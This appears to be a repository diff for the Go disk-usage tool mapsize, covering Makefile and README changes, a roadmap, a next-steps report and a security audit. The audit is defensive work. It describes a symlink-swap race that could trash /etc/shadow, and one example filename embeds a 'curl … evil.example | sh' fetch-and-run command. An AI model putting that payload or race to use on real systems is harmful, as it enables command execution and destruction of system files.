THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
+42 -6
View File
@@ -2,13 +2,21 @@ BIN := bin
PKG := ./... PKG := ./...
VERSION ?= $(shell git describe --tags --always --dirty 2>/dev/null || echo dev) VERSION ?= $(shell git describe --tags --always --dirty 2>/dev/null || echo dev)
LDFLAGS := -s -w LDFLAGS := -s -w
PREFIX ?= /usr/local
.PHONY: build test race vet fmt fmt-check benchmark fuzz release clean treegen .PHONY: build install man brew-formula test race vet fmt fmt-check benchmark fuzz release clean treegen
build: build:
go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/mapsize ./cmd/mapsize go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/mapsize ./cmd/mapsize
go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/treegen ./cmd/treegen go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/treegen ./cmd/treegen
install: build
install -Dm755 $(BIN)/mapsize $(DESTDIR)$(PREFIX)/bin/mapsize
install -Dm644 docs/mapsize.1 $(DESTDIR)$(PREFIX)/share/man/man1/mapsize.1
man:
man -l docs/mapsize.1
test: test:
go test $(PKG) go test $(PKG)
@@ -32,13 +40,41 @@ fuzz:
go test -run=NONE -fuzz=FuzzSquarify -fuzztime=30s ./internal/treemap go test -run=NONE -fuzz=FuzzSquarify -fuzztime=30s ./internal/treemap
go test -run=NONE -fuzz=FuzzParse -fuzztime=30s ./internal/filter go test -run=NONE -fuzz=FuzzParse -fuzztime=30s ./internal/filter
# Cross-built archives plus .deb/.rpm/.apk/Arch packages in $(BIN)/release.
REL := $(BIN)/release
NFPM := go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1
release: release:
@for t in linux/amd64 linux/arm64 darwin/amd64 darwin/arm64 windows/amd64 windows/arm64; do \ rm -rf $(REL) && mkdir -p $(REL)
@set -e; v=$(VERSION); v=$${v#v}; \
for t in linux/amd64 linux/arm64 linux/386 linux/arm darwin/amd64 darwin/arm64 \
windows/amd64 windows/arm64 freebsd/amd64 freebsd/arm64 openbsd/amd64 netbsd/amd64; do \
os=$${t%/*}; arch=$${t#*/}; ext=; [ $$os = windows ] && ext=.exe; \ os=$${t%/*}; arch=$${t#*/}; ext=; [ $$os = windows ] && ext=.exe; \
echo "$$os/$$arch"; \ name=mapsize-$$v-$$os-$$arch; d=$(REL)/$$name; echo "$$os/$$arch"; mkdir -p $$d; \
CGO_ENABLED=0 GOOS=$$os GOARCH=$$arch go build -trimpath -ldflags '$(LDFLAGS)' \ CGO_ENABLED=0 GOOS=$$os GOARCH=$$arch GOARM=7 go build -trimpath \
-o $(BIN)/release/mapsize-$(VERSION)-$$os-$$arch$$ext ./cmd/mapsize || exit 1; \ -ldflags '$(LDFLAGS) -X github.com/andydixon/mapsize/internal/brand.Version='$$v \
done -o $$d/mapsize$$ext ./cmd/mapsize; \
cp README.md CHANGELOG.md LICENSE docs/mapsize.1 $$d/; \
if [ $$os = windows ]; then (cd $(REL) && zip -qr $$name.zip $$name); \
else tar -C $(REL) -czf $(REL)/$$name.tar.gz $$name; fi; \
if [ $$os = linux ]; then mkdir -p $(REL)/pkg && cp $$d/mapsize $(REL)/pkg/; \
a=$$arch; [ $$a = arm ] && a=arm7; \
for f in deb rpm apk archlinux; do \
VERSION=$$v ARCH=$$a $(NFPM) pkg -f nfpm.yaml -p $$f -t $(REL)/; done; rm -rf $(REL)/pkg; fi; \
rm -rf $$d; \
done; \
cd $(REL) && sha256sum * > SHA256SUMS
# Homebrew formula for the tagged release. The tag must already be pushed:
# the checksum is of GitHub's source tarball for that tag.
BREW_REPO := https://github.com/andydixon/mapsize
brew-formula:
@set -e; v=$(VERSION); v=$${v#v}; \
case $$v in *-*) echo "brew-formula: HEAD is not exactly a release tag ($$v)"; exit 1;; esac; \
url=$(BREW_REPO)/archive/refs/tags/v$$v.tar.gz; \
sum=$$(curl -fsSL "$$url" | sha256sum | cut -d' ' -f1) || { echo "cannot fetch $$url (tag pushed?)"; exit 1; }; \
mkdir -p $(BIN)/homebrew; \
sed -e '/^#/d' -e "s/@VERSION@/$$v/g" -e "s/@SHA256@/$$sum/" packaging/homebrew/mapsize.rb.in > $(BIN)/homebrew/mapsize.rb; \
echo "wrote $(BIN)/homebrew/mapsize.rb (v$$v, sha256 $$sum)"
clean: clean:
rm -rf $(BIN) rm -rf $(BIN)
+33 -9
View File
@@ -8,9 +8,10 @@ runs over SSH.
## Status ## Status
Milestones 0.1–0.8 are implemented; 0.9 (hardening) is in progress. See Version 1.0. See [CHANGELOG.md](CHANGELOG.md), [ROADMAP.md](ROADMAP.md) for
[ROADMAP.md](ROADMAP.md) for detail and [PERFORMANCE.md](PERFORMANCE.md) for what comes next, and [PERFORMANCE.md](PERFORMANCE.md) for measured numbers.
measured numbers. Tested on Linux; macOS and Windows builds are produced but trash and
file-manager integration have not yet been tested there.
## What it does ## What it does
@@ -55,8 +56,8 @@ measured numbers.
| x, g, e | file types, top lists, scan info & errors | | x, g, e | file types, top lists, scan info & errors |
| D | find duplicates | | D | find duplicates |
| a | toggle allocated / logical size | | a | toggle allocated / logical size |
| c, o | copy path, reveal in file manager | | c, o | copy path, reveal in file manager (headless: show the folder in the map) |
| d | move to trash (asks; disabled with `--read-only`) | | d | move to trash, or delete permanently when headless (asks; disabled with `--read-only`) |
| s, r | save snapshot, rescan | | s, r | save snapshot, rescan |
| T | cycle theme | | T | cycle theme |
| ? | help | | ? | help |
@@ -69,11 +70,22 @@ the map or scrolls lists. Everything works without a mouse (`--no-mouse`).
## Install ## Install
```sh ```sh
go install github.com/andydixon/mapsize/cmd/mapsize@latest go install github.com/andydixon/mapsize/cmd/mapsize@v1.0.0
# or # or
make build # → bin/mapsize make build # → bin/mapsize
sudo make install # binary + man page under /usr/local (PREFIX=… to change)
# Homebrew (macOS and Linux)
brew install andydixon/tap/mapsize
``` ```
On Debian, Ubuntu, Fedora, RHEL, openSUSE and Arch, `mapsize` is also in the
signed apt, dnf and pacman repository at repo.dixon.cx, so it updates with the
rest of the system: see https://dixon.cx/repo for the setup commands.
Full reference: `man mapsize` after installing, or `make man` /
`man -l docs/mapsize.1` from the source tree.
## Usage ## Usage
```sh ```sh
@@ -148,12 +160,24 @@ uses ordinary filesystem APIs, and duplicate detection reads file content
`d` moves the selected item to the system trash (freedesktop.org trash on `d` moves the selected item to the system trash (freedesktop.org trash on
Linux, `~/.Trash` on macOS, the Recycle Bin on Windows) after confirmation, Linux, `~/.Trash` on macOS, the Recycle Bin on Windows) after confirmation,
using native file operations — never a shell. Permanent deletion is not using native file operations — never a shell.
offered. Trash is unavailable while scanning, for snapshots, and in
read-only mode. On a headless Linux or BSD system (neither `DISPLAY` nor `WAYLAND_DISPLAY`
set) nothing ever empties the trash, so trashing would not free any space.
There `d` deletes permanently instead, after a confirmation that says it
cannot be undone, and `o` shows the folder in the map rather than opening a
file manager.
Deletion is unavailable while scanning, for snapshots, and in read-only
mode.
## Documentation ## Documentation
* [docs/mapsize.1](docs/mapsize.1) — manual page
* [ARCHITECTURE.md](ARCHITECTURE.md) — design and invariants * [ARCHITECTURE.md](ARCHITECTURE.md) — design and invariants
* [DEVELOPMENT.md](DEVELOPMENT.md) — building, testing, profiling * [DEVELOPMENT.md](DEVELOPMENT.md) — building, testing, profiling
* [PERFORMANCE.md](PERFORMANCE.md) — measured results * [PERFORMANCE.md](PERFORMANCE.md) — measured results
## License
GPL-3.0-or-later. See [LICENSE](LICENSE).
+10 -3
View File
@@ -37,7 +37,7 @@ Status markers: `[x]` done, `[~]` partial, `[ ]` not started.
- [x] read-only mode, JSON/CSV export - [x] read-only mode, JSON/CSV export
- [x] move-to-trash: freedesktop trash (tested on Linux); macOS ~/.Trash and Windows Recycle Bin implemented but not yet tested on those systems - [x] move-to-trash: freedesktop trash (tested on Linux); macOS ~/.Trash and Windows Recycle Bin implemented but not yet tested on those systems
## 0.9 — hardening (ongoing) ## 0.9 — hardening
- [~] profiling & benchmarks (warm-cache only so far) (see PERFORMANCE.md) - [~] profiling & benchmarks (warm-cache only so far) (see PERFORMANCE.md)
- [ ] memory reduction (name arena) if profiles justify it - [ ] memory reduction (name arena) if profiles justify it
- [ ] Windows allocated-size via GetCompressedFileSizeW (opt-in) - [ ] Windows allocated-size via GetCompressedFileSizeW (opt-in)
@@ -46,5 +46,12 @@ Status markers: `[x]` done, `[~]` partial, `[ ]` not started.
- [x] incremental path-predicate evaluation for filters - [x] incremental path-predicate evaluation for filters
- [ ] permanent deletion (deliberately not offered yet; trash only) - [ ] permanent deletion (deliberately not offered yet; trash only)
## 1.0 ## 1.0 (released 2026-10-02)
- [ ] stable snapshot format v1 guarantee, packaged releases - [x] stable snapshot format v1 guarantee
- [x] packaged releases (`make release`: archives, deb/rpm/apk/Arch, checksums)
- [x] manual page
## After 1.0
Unchecked items above carry over; candidates for 1.1 are cold-cache
benchmarks, configurable keybindings and testing trash/reveal on macOS and
Windows.
@@ -0,0 +1,103 @@
# Functionality and Next Steps Report
Project: **mapsize** v1.0.0 plus the fixes from the security audit of 2026-10-02 (`audits/20261002-1102-securityAudit.md`).
## 1. Executive Summary
mapsize is a well-structured, well-documented codebase with unusually good invariants:
- a single writer for the inventory,
- a deadlock-free bounded scheduler,
- a documented lock discipline,
- a defensive renderer.
The full test suite passes across 11 packages, `go vet` is clean on every target OS, and `govulncheck` reports no vulnerabilities.
The highest-impact opportunities:
1. **Make actions after the scan relative to file descriptors** (scanner, duplicate hashing, reveal), so that what mapsize acts on is provably what it scanned. This is the remaining correctness and security gap when running as root.
2. **Exercise the macOS and Windows paths for real.** Trash and reveal there are implemented but have never been run (ROADMAP 0.8). CI runs `go test` on those OSes, but the platform tests are Linux-only.
3. **Small UX and robustness fixes:**
- repeated actions on already-trashed nodes,
- JSON names that cannot be mapped back to real files,
- an unbounded filter-query nesting depth.
## 2. Current Functional Risks
| Risk | Evidence | User impact |
|---|---|---|
| Trash and reveal on macOS and Windows are untested | ROADMAP 0.8; `ops_darwin.go` and `ops_windows.go` have no tests | First-use failures on those platforms; MS-09 (explorer comma parsing) is unverified |
| Trashing inside an already-trashed directory | `trashDone` (`internal/tui/actions.go`) flags only the trashed node `FlagDeleted`; its descendants stay selectable in some views until a rescan | Normally fails safely, because the path is gone and `Lstat` errors. If someone recreates the same path, the stale aggregates would be subtracted again |
| Scan redirection by symlink races | `platform.ReadDir` opens directories by path (MS-08) | Wrong totals on trees other users can write to |
| `--duplicates` reading from a hung NFS/SMB mount | `fullHash` makes a blocking `read(2)` | It cannot be cancelled (inherent); worth documenting |
| JSON names lossy for non-UTF-8 bytes | `encoding/json` replaces invalid UTF-8 with U+FFFD | Consumers cannot locate those files |
| Filter queries with extreme nesting | Recursive descent in `filter/parser.go` | A self-inflicted crash from a pathological paste |
| Copy refusal for unusual names (new) | `copyPath` refuses anything `Sanitize` would change | Users with legitimately odd names cannot copy them; the info modal shows the escaped form instead |
## 3. Code Quality Improvements
- **Platform trash code.** After this audit, `ensurePrivateDir` and `renameChecked` live in `trash_unix.go`, shared by Linux and macOS. The remaining Linux/macOS differences (trash layout, the `.trashinfo` file) are inherent. Keep any new platform logic behind `internal/platform`, as ARCHITECTURE.md requires.
- **`requestTrash` captures identity in the confirmation closure.** If inode identity is added (security finding MS-11), extend `platform.Expect` rather than adding parameters.
- **Ignored `Write` errors in `snapshot.Save` and `export.JSON`.** These are safe because the final `Flush` reports a sticky error. A short comment saying so would stop future "fixes" from adding noise.
- **`pprof.StartCPUProfile` error ignored** in `cmd/mapsize/main.go`. Report it, so that a profiling run does not silently produce nothing.
- **ARCHITECTURE.md drift.** Its OS-abstraction section names `readdir_unix.go`, `readdir_windows.go` and `fs_*.go`. The actual files are `readdir_bsd.go`, `readdir_other.go`, `sys_*.go` and `mode_unix.go`, plus the new `trash_unix.go` and `open_*.go`. The document says that if the two disagree, one of them should be fixed.
## 4. Frontend Interaction and Error-Handling Improvements
(This is a terminal UI; there is no web frontend.)
- **Show *why* an action was refused, with a next step.** Trash now reports "item changed since the scan … rescan first". Consider offering `r` (rescan) directly from that message.
- **Mark descendants of trashed directories.** Either hide nodes whose ancestor carries `FlagDeleted` in the list, top and duplicate views, or have `requestTrash` refuse them early with "already moved to trash".
- **Duplicate view while hashing.** Esc cancels between files. Showing "waiting on <file>" when one read stalls for more than N seconds would make a hung network mount visible.
- **Copy refusal.** Offer to copy the *escaped* form, clearly labelled, so that users can still reference odd names in scripts.
## 5. Testing Roadmap
- **Platform:**
- macOS: run the platform tests on the CI `macos-latest` runner. Port `TestTrashFreedesktop`-style tests to `~/.Trash` and to a volume trash on a disk image created with `hdiutil`.
- Windows: a Recycle Bin smoke test, plus reveal with comma-bearing names (MS-09).
- **Abuse cases:**
- A scanner race test in which a goroutine toggles a directory and a symlink during a scan, asserting that no node falls outside the root's (dev, ino) closure. This needs MS-08 first.
- Filter nesting-depth and length limits.
- A test that `--read-only` blocks every mutating key: `d`, `delete`, and `d` inside the duplicate view.
- **Config:** malformed JSON, out-of-range `refresh_hz`, and bad colours.
- **Regression:** keep running the four tests added in this audit and the existing hostile-snapshot and fuzz targets in CI. Consider a nightly job running `make fuzz` for longer.
- **Load:** the cold-cache HDD benchmark already on the ROADMAP, and a snapshot load benchmark at the new node-limit boundary.
## 6. Recommended New Functionality
- **Safer root workflow:** a `--trash-owned-by-me` option, or a default that refuses to trash items in directories owned by other users when running as root. This prevents most of the TOCTOU class of bugs outright.
- **Lossless export:** add a `name_escaped`/`path_escaped` (or base64) field to JSON and CSV for names that are not valid UTF-8.
- **Snapshot provenance (optional):** `--sign KEY` and `--verify KEY` using Ed25519, so teams that share snapshots can trust their origin. See audit finding MS-13.
- **Configurable keybindings** (already on the ROADMAP).
- **Windows allocated size** through `GetCompressedFileSizeW` (already on the ROADMAP).
## 7. Next-Level Opportunities
- **Descriptor-relative scanner:**
- Keep a parent fd per pending directory, or reopen with `openat2(RESOLVE_BENEATH|RESOLVE_NO_SYMLINKS)` on Linux 5.6+.
- Verify (dev, ino) after each open.
- Store `Ino` for the nodes that need it.
- This closes MS-08, MS-11 and MS-12 together, and may reduce path-building work in hot loops.
- **Memory:** the name arena on the ROADMAP would also cut the per-node cost behind the snapshot amplification limit.
- **Release pipeline:** build releases in GitHub Actions with SHA-pinned actions, attach Sigstore signatures and SLSA provenance, and publish the Homebrew formula automatically.
- **Accessibility:** the `mono` theme and the non-colour selection cues are good. A screen-reader-friendly `--no-ui` interactive list mode could serve users who cannot use a treemap.
## 8. Prioritised Action Plan
| Horizon | Action | Rationale | Risk |
|---|---|---|---|
| Immediate | Done: the trash identity check, copy guard, FIFO-safe open, snapshot node cap and CI token scope | Closes the Medium findings | Low; all have tests |
| Short | Fix the ARCHITECTURE.md file list, and hide or refuse descendants of trashed nodes | Accurate documentation; avoids confusing stale entries | Very low |
| Short | Run platform tests on macOS and Windows CI; verify the explorer comma behaviour | Untested destructive code paths | Low |
| Short | Pin actions by SHA and add Dependabot | Supply chain | Very low |
| Medium | Descriptor-relative scanning and actions | Removes the remaining TOCTOU class | Medium: touches the scanner hot path, so benchmark against PERFORMANCE.md |
| Medium | Lossless JSON names | Data fidelity | Low: additive field |
| Long | Signed releases and provenance; optional signed snapshots | Trust in artifacts | Low |
## 9. Caveats and Validation Needed
- macOS and Windows behaviour was only cross-compiled with `go vet`, never executed. The Darwin volume-trash change (strict private directory) in particular should be checked on a real external volume. If `.Trashes/<uid>` already exists with different permissions, trash now falls back to an error instead of using it.
- The trash identity check refuses items whose owner or type changed since the scan. Users who `chown` while browsing will see refusals until they rescan; this is intended.
- The snapshot node cap assumes about 15 bytes per node (PERFORMANCE.md). Trees made of extremely repetitive names compress better. The cap allows one node per byte, about 15× headroom, but it is worth validating against the largest real snapshots before the next release.
- The concurrent commit `ab3ff7b` (Homebrew template) landed during the audit and was reviewed.
+820
View File
@@ -0,0 +1,820 @@
# Security Audit Report
Project: **mapsize** (Go, `github.com/andydixon/mapsize`), an interactive terminal disk-usage analyser, at v1.0.0 plus fixes.
Date: 2026-10-02. Audit commits: `3ec5bd7`, `1f9429e`, `5966fdd`, `3264def`, `b009ac3` (all with the subject "AI codebase review").
## 1. Executive Summary
mapsize is a local, single-user CLI/TUI. It has no network listener, no authentication, no stored secrets, and no native code beyond syscalls made through `golang.org/x/sys`. Its attack surface is **filesystem content controlled by other users** (file names, file types, directory layout, and races against the scan) and **snapshot files** (`.msz`) that people may share. The codebase was already defensive: it sanitises terminal output with a second check in the canvas, never invokes a shell, validates snapshots carefully, and checks the ownership of shared trash directories.
The most important issues were in the places where mapsize **acts on the filesystem after the scan**:
- **MS-01 (Medium, fixed).** Trash renamed items by path long after the scan. If another user swapped a parent directory for a symlink, an administrator cleaning that user's tree could move an unrelated file (for example `/etc/shadow`) into the trash.
- **MS-02 (Medium, fixed).** "Copy path" put raw filenames on the clipboard through OSC 52. A filename containing newlines runs commands when it is pasted into a shell.
- **MS-03 (Medium, fixed).** The snapshot decompression limit allowed roughly 600× memory amplification. An 804 KB crafted file was measured at about 500 MB of heap.
- **MS-04 (Low, fixed).** The duplicate finder could be wedged permanently by a file that was swapped for a FIFO after the scan. Cancelling did not help.
All four now have regression tests. No vulnerable dependencies were found (`govulncheck`: none). The remaining items are low-severity defence-in-depth or supply-chain hygiene.
**Architectural concern:** operations after the scan still resolve paths again (scanner directory opens, duplicate hashing, reveal). Fully race-free handling needs descriptor-relative traversal (`openat` chains or `openat2(RESOLVE_NO_SYMLINKS)`). The trash fix applies this only to the final parent directory.
## 2. Scope Reviewed
- **Languages and frameworks:** Go 1.26 (toolchain 1.27.1 used locally), Bubble Tea v2 (`charm.land/bubbletea/v2`), `charmbracelet/x/ansi`, `rivo/uniseg`, `golang.org/x/sys`.
- **Source:** all 85 tracked files, including `cmd/mapsize`, `cmd/treegen`, and every package under `internal/` (app, brand, config, duplicate, export, filter, inventory, platform, scan, snapshot, textutil, treemap, tui).
- **Build and deployment:** `Makefile` (build, install, release, brew-formula), `nfpm.yaml`, `packaging/homebrew/mapsize.rb.in`, `.github/workflows/ci.yml`, `scripts/bench-scan.sh`.
- **Dependencies:** `go.mod`, `go.sum`.
- **Tests:** every `*_test.go`, including the hostile-snapshot, fuzz, scan-stress and TUI tests.
- **Documentation:** ARCHITECTURE.md (its invariants were checked against the code), README.md, and the man page.
- **Not in scope:** there are no Dockerfiles, IaC, web frontend or servers.
## 3. Methodology
- **Static review:** a manual line-by-line reading of the trust-boundary code (platform ops, snapshot decoder, scanner, duplicate finder, exporters, TUI actions and rendering, config).
- **Adversarial mapping:** the attacker starting points considered were (a) a local user who can write inside the scanned tree, (b) the author of a snapshot file, and (c) a compromised dependency or CI pipeline.
- **Dynamic validation:** the following findings were reproduced locally with tests before they were fixed:
- MS-04: a test hung at its 5 s timeout before the fix.
- MS-03: an 804 KB crafted snapshot produced 4.2 M nodes and 497 MB `HeapInuse`.
- MS-01 and MS-02: regression tests were written against the old behaviour.
- **Dependency review:** `govulncheck ./...` (latest) reported no vulnerabilities; `go vet` and the full test suite are clean; cross-platform `go vet` was run for darwin, windows and freebsd.
- **Specific reviews:** cryptography, the secrets lifecycle, memory and resource safety, DoS and terminal-injection reviews, using the checklists in the brief.
## 4. Risk Rating Method
Severity combines impact and likelihood in mapsize's realistic deployment, which is a user or administrator running it interactively, sometimes as root, over trees that other users can write to.
- **Critical/High:** remote or unauthenticated compromise, or reliable privilege escalation. None found.
- **Medium:** integrity, confidentiality or availability impact that needs a plausible precondition (another local user's tree, or opening a shared snapshot) plus a user action.
- **Low:** narrow races, partial impact, or hygiene problems with a credible but unlikely path.
- **Informational:** defence-in-depth or documentation.
Confidence:
- **High:** reproduced, or directly evident in the code.
- **Medium:** the reasoning is sound but it was not reproduced.
- **Low:** depends on unverified external behaviour, such as Windows `explorer.exe` argument parsing.
## 5. Attack Surface Map
| Entry point | Trust | Notes |
|---|---|---|
| Directory and file names, types and layout under the scanned root | **Untrusted** (other local users) | Names reach the terminal, the clipboard, CSV/JSON output and trashinfo. Layout can change between the scan and an action (TOCTOU). |
| Snapshot files (`mapsize FILE.msz`, `--load`, `--compare`) | **Untrusted** (shared by colleagues or downloaded) | Binary gzip format with a SHA-256 trailer (integrity only). Decoded in `internal/snapshot/snapshot.go`. |
| Filter query (`/` in the TUI) | Local user | RE2 regex (linear time) and `filepath.Match`. |
| CLI flags, config JSON (`$XDG_CONFIG_HOME/mapsize/config.json`) | Local user | Paths for `--save`, `--log`, `--cpuprofile` and `--memprofile` are written as specified. |
| External helpers | Executed with argument vectors | `xdg-open`, `open -R`, `explorer.exe /select,`. No shell is used. |
| Trash | Mutating | freedesktop.org trash on Linux, `~/.Trash` and volume `.Trashes/<uid>` on macOS, `SHFileOperationW` on Windows. |
| Clipboard | Output | OSC 52 written to the terminal. |
| CI/release | Supply chain | GitHub Actions, `go run nfpm@v2.41.1`, and `curl` of the release tarball for the Homebrew sha256. |
**Attacker positions:**
- **A1:** an unprivileged user who owns a subtree that an administrator scans as root, such as `/home`, `/srv/shared` or `/tmp`.
- **A2:** the sender of a snapshot file.
- **A3:** a compromised upstream action or module.
**Not present:** network listeners, IPC, authentication, sessions, secrets, databases, web frontend.
## 6. Findings Summary Table
| ID | Severity | Confidence | Title | Component | Status |
|---|---|---|---|---|---|
| MS-01 | Medium | High | Trash follows a parent swapped for a symlink after the scan (TOCTOU) | `internal/platform/ops_linux.go`, `ops_darwin.go`, `internal/tui/actions.go` | Fixed (`3ec5bd7`) |
| MS-02 | Medium | High | Copy-path puts control characters on the clipboard (paste injection) | `internal/tui/keys.go`, `modals.go` | Fixed (`1f9429e`) |
| MS-03 | Medium | High | Snapshot node amplification exhausts memory (about 600×) | `internal/snapshot/snapshot.go` | Fixed (`b009ac3`) |
| MS-04 | Low | High | Duplicate finder blocks forever on a file swapped for a FIFO | `internal/duplicate/duplicate.go` | Fixed (`5966fdd`) |
| MS-05 | Low | Medium | macOS volume trash directory not checked for symlinks or ownership | `internal/platform/ops_darwin.go` | Fixed (`3ec5bd7`) |
| MS-06 | Low | High | CI workflow runs with the default `GITHUB_TOKEN` permissions | `.github/workflows/ci.yml` | Fixed (`3264def`) |
| MS-07 | Informational | High | Snapshot `follow` metadata displayed unsanitised | `internal/tui/infoview.go` | Fixed (`3264def`) |
| MS-08 | Low | Medium | Scanner opens directories by path, so a symlink-swap race redirects the scan | `internal/platform/readdir_*.go`, `internal/scan/scan.go` | Open |
| MS-09 | Low | Low | Windows "reveal" passes hostile names to `explorer.exe`'s non-standard parser | `internal/platform/ops_windows.go` | Open (needs verification) |
| MS-10 | Low | High | Actions pinned to mutable tags; release artifacts unsigned | `.github/workflows/ci.yml`, `Makefile` | Open |
| MS-11 | Informational | High | Trash identity check has residual gaps (Windows; same owner and type) | `internal/platform` | Open (accepted) |
| MS-12 | Informational | High | Duplicate hashing and reveal re-resolve paths (intermediate symlinks) | `internal/duplicate`, `internal/platform/ops*.go` | Open |
| MS-13 | Informational | High | Snapshots are integrity-checked but not authenticated, and contain host and user metadata | `internal/snapshot` | Open (accepted) |
| MS-14 | Informational | High | JSON export is not terminal-sanitised (bidi) and is lossy for non-UTF-8 names | `internal/export/export.go` | Open |
| MS-15 | Informational | Medium | Filter parser recursion is unbounded on deeply nested input | `internal/filter/parser.go` | Open |
## 7. Detailed Findings
### Finding ID: MS-01
#### Title
Trash follows a parent directory swapped for a symlink after the scan (TOCTOU)
#### Severity
Medium
#### Confidence
High
#### Affected Files / Components
`internal/platform/ops_linux.go` `Trash` (previously `os.Rename(path, dst)`), `internal/platform/ops_darwin.go` `Trash`, and `internal/tui/actions.go` `requestTrash`.
#### Description
The path to trash is rebuilt from the inventory (`m.tree.Path(id)`) and renamed after the user confirms. Every path component is resolved again at rename time. Between the scan and the confirmation (a window of human think-time) the owner of any parent directory can replace it with a symlink. The rename then moves whatever has the same name under the symlink target.
#### Evidence
Before the fix, `ops_linux.go` did this:
```go
if err := os.Rename(path, dst); err != nil { // path re-resolved, all components followed
```
There was no comparison with what the scan recorded. `checkAbs` only did `Lstat` on the final component.
#### Attack Scenario
1. Eve owns `/home/eve/junk/`. She creates a large file named `shadow` in it.
2. The root user runs `mapsize /home`, sees `/home/eve/junk/shadow` (20 GB), and presses `d`.
3. Before root confirms, Eve runs `mv junk junk.old; ln -s /etc junk`. A symlink toggler makes the timing irrelevant.
4. Root confirms, and `rename("/home/eve/junk/shadow", "/root/.local/share/Trash/files/shadow")` moves **`/etc/shadow`**. Logins break and the hash file now sits in root's trash.
The same works for any root-owned file with a guessable name.
#### Impact
Integrity and availability of arbitrary files writable by the user running mapsize, which is the whole system for root. This is denial of service, and it can cause privilege problems such as a missing `/etc/sudoers.d/x` or a broken PAM configuration.
#### Recommendation
Open the parent directory once. Check and rename relative to that descriptor, and verify that the item still matches the scan (owner and file type).
#### Safer Example
This is what was implemented in `internal/platform/trash_unix.go`:
```go
dfd, _ := unix.Open(dir, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
unix.Fstatat(dfd, base, &st, unix.AT_SYMLINK_NOFOLLOW)
if st.Uid != want.UID || modeFromUnix(uint32(st.Mode))&fs.ModeType != want.Mode&fs.ModeType {
return errors.New("item changed since the scan (owner or type differs); rescan first")
}
return unix.Renameat(dfd, base, unix.AT_FDCWD, dst)
```
`requestTrash` captures `platform.Expect{UID: n.UID, Mode: n.Mode}` from the scanned node. A swapped parent now resolves to `/etc`, `shadow` there is owned by uid 0 rather than eve, and the move is refused. Because the check and the rename use the same descriptor, a toggler cannot win the race between them.
#### Suggested Tests
`TestTrashRefusesSwappedItem` (added) covers a symlink where a file was scanned, a type mismatch, an owner mismatch, no leftover `.trashinfo`, and the legitimate path still working.
#### References
CWE-367 (TOCTOU), CWE-59 (link following), OWASP ASVS V12.3.
#### Assumptions / Limitations
See MS-11 for the residual gaps: Windows has no check, and a same-owner, same-type target is still possible. The trash destination path is still resolved by path, but it lives under the user's own home or under a private `.Trash-$uid` directory that has been checked.
---
### Finding ID: MS-02
#### Title
Copy-path puts control characters on the clipboard (paste injection)
#### Severity
Medium
#### Confidence
High
#### Affected Files / Components
`internal/tui/keys.go` `copyPath` and `internal/tui/modals.go` (the `c` key in the info modal).
#### Description
The raw path was sent with `tea.SetClipboard(p)` (OSC 52). Unix filenames may contain `\n` and other control bytes, and snapshot names may contain anything except `/` and NUL. The UI displays these names escaped, so the user cannot see that the clipboard holds an executable multi-line payload.
#### Evidence
```go
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
```
#### Attack Scenario
An attacker creates `/srv/share/report\ncurl -s evil.example/x | sh\n.pdf`. The administrator selects it, presses `c`, and pastes into a root shell. In a shell or terminal without bracketed paste (older bash, `sh`, many serial and SSH consoles) the embedded command runs. Bidi overrides can also disguise the visible text.
#### Impact
Arbitrary command execution as the user who pastes. User interaction is required.
#### Recommendation
Refuse to copy any path that `textutil.Sanitize` would change (control characters, C1, bidi, invalid UTF-8) and tell the user why.
#### Safer Example
```go
if textutil.Sanitize(p) != p {
return m.warn("Not copied: path contains control or bidi characters")
}
```
#### Suggested Tests
`TestCopyRefusesControlCharacters` (added) covers a newline payload, the existing ESC/OSC hostile name, and a CJK path that must still be copied.
